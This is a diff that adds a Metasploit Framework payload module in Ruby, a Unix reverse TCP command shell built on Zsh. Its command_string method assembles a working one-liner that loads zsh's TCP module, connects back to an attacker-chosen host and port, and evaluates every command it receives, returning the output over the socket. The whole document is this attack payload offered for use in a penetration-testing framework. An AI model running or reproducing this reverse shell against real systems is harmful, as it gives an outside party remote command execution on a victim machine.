|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'msf/core/handler/reverse_tcp' |
| 10 | +require 'msf/base/sessions/command_shell' |
| 11 | +require 'msf/base/sessions/command_shell_options' |
| 12 | + |
| 13 | +module Metasploit3 |
| 14 | + |
| 15 | + include Msf::Payload::Single |
| 16 | + include Msf::Sessions::CommandShellOptions |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(merge_info(info, |
| 20 | + 'Name' => 'Unix Command Shell, Reverse TCP (via Zsh)', |
| 21 | + 'Description' => %q{ |
| 22 | + Connect back and create a command shell via Zsh. Note: Although Zsh is often |
| 23 | + available, please be aware it isn't usually installed by default. |
| 24 | + }, |
| 25 | + 'Author' => 'Doug Prostko <dougtko[at]gmail.com>', |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Platform' => 'unix', |
| 28 | + 'Arch' => ARCH_CMD, |
| 29 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 30 | + 'Session' => Msf::Sessions::CommandShell, |
| 31 | + 'PayloadType' => 'cmd', |
| 32 | + 'RequiredCmd' => 'zsh', |
| 33 | + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } |
| 34 | + )) |
| 35 | + end |
| 36 | + |
| 37 | + def generate |
| 38 | + return super + command_string |
| 39 | + end |
| 40 | + |
| 41 | + def command_string |
| 42 | + cmd = "zmodload zsh/net/tcp;" |
| 43 | + cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};" |
| 44 | + cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;" |
| 45 | + cmd << "ztcp -c" |
| 46 | + cmd |
| 47 | + end |
| 48 | +end |
0 commit comments